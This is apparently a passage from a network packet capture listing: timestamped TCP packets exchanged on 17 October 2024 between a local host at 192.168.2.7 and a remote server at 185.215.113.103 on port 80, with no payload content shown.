Oct 17, 2024 18:40:14.317373037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317384958 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317400932 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.317456007 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.317825079 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317837000 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317847967 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317862988 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317878008 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317883015 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.317924976 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.317971945 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.375861883 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.375895023 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.375909090 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.375962973 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.376010895 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.376161098 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376172066 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376183033 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376195908 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376221895 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.376430988 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.376620054 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376631975 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376662970 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376674891 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376679897 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.376688004 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376698971 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376704931 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.376710892 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.376830101 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.377638102 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377650023 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377660990 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377674103 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377686977 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377698898 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.377698898 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377712011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377726078 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.377743006 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.377758026 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.377806902 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.378585100 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378597975 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378618002 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378631115 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378643036 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378653049 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.378654957 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378667116 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378679037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.378698111 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.378911018 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.379533052 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379545927 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379558086 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379571915 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379585028 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379597902 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379607916 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.379610062 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379642010 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.379781961 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.379877090 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.379934072 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.380465031 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.380477905 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.380490065 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.380505085 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.380517006 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.380527973 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.380532980 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.380539894 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.380696058 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.381402016 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381414890 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381426096 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381439924 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381453037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381464958 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381475925 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381486893 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.381498098 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.382292986 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.382304907 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.382317066 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.382328033 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.382339954 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.389255047 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.389369011 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.396497011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396512032 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396524906 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396646023 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.396847963 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396868944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396882057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396893024 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396908045 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396925926 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396936893 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.396940947 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.396958113 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.396989107 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.397775888 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.397788048 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.397800922 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.397814035 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.397828102 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.397840977 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.397849083 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.397854090 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.397859097 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.397881031 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.397901058 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.398663044 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.398675919 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.398689985 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.398703098 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.398716927 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.398725986 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.398730040 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.398761988 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.437871933 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.437952042 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.438038111 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438054085 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438091040 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.438116074 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.438174963 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438188076 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438200951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438230038 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.438266039 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.438587904 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438600063 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438611031 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438622952 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438637018 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438657045 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.438657999 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.438684940 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.438699961 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.439265966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.439282894 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.439299107 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.439327955 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.439356089 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.501444101 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.501471043 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.501485109 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.501521111 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.501550913 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.501607895 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.501677990 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.501678944 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.501692057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.501708984 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.501739979 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.501774073 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.502084017 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502099037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502110958 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502121925 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502135038 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502141953 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.502147913 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502161980 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502187967 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.502207041 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.502773046 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502788067 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502799988 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502813101 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502835989 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502845049 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.502875090 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.502875090 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.502943039 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.503417015 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503428936 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503443003 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503456116 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503468037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503479004 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503484011 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.503490925 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503504038 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503504992 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.503515005 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503526926 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.503526926 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.503557920 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.503586054 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.504381895 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504410982 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504419088 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504426003 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504432917 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504440069 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504443884 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.504446030 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504451990 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504457951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504466057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.504467964 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.504499912 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.504605055 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.505348921 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505362988 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505374908 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505388975 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505403996 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505418062 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.505420923 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505435944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505450964 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505454063 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.505466938 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505482912 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.505482912 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.505502939 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.505522966 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.506340981 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506361008 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506375074 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506392002 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506407022 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506407976 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.506422043 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506438017 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506444931 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.506453991 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506468058 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.506469965 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506484985 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.506501913 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.506541967 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.507210016 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.507231951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.507247925 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.507263899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.507272959 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.507306099 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.511991024 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.512022972 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.512036085 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.512094021 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.512124062 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520255089 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520323038 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520348072 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520370007 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520407915 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520505905 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520523071 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520536900 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520555973 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520560980 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520598888 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520800114 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520821095 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520833969 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520847082 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520850897 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520858049 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520873070 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520885944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520900011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520900965 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520914078 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.520927906 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.520944118 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.521123886 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.521452904 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.521465063 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.521477938 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.521491051 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.521508932 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.521542072 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.560003996 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560034037 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560046911 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560127020 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.560158968 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.560182095 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560230017 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560235977 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560247898 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560416937 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.560616016 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560627937 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560637951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560651064 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560663939 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560678005 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.560681105 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.560704947 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.560729027 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.561091900 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.561106920 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.561162949 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.715704918 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.715763092 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.715775967 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.715857029 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.715893984 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.715982914 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.715996027 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716002941 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716135979 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.716285944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716299057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716310024 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716324091 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716336966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716347933 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.716351032 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716367006 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.716389894 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.716430902 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.716876030 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716887951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716900110 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716912985 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716926098 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716936111 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.716939926 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716952085 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.716968060 CEST	80	50050	185.215.113.103	192.168.2.7
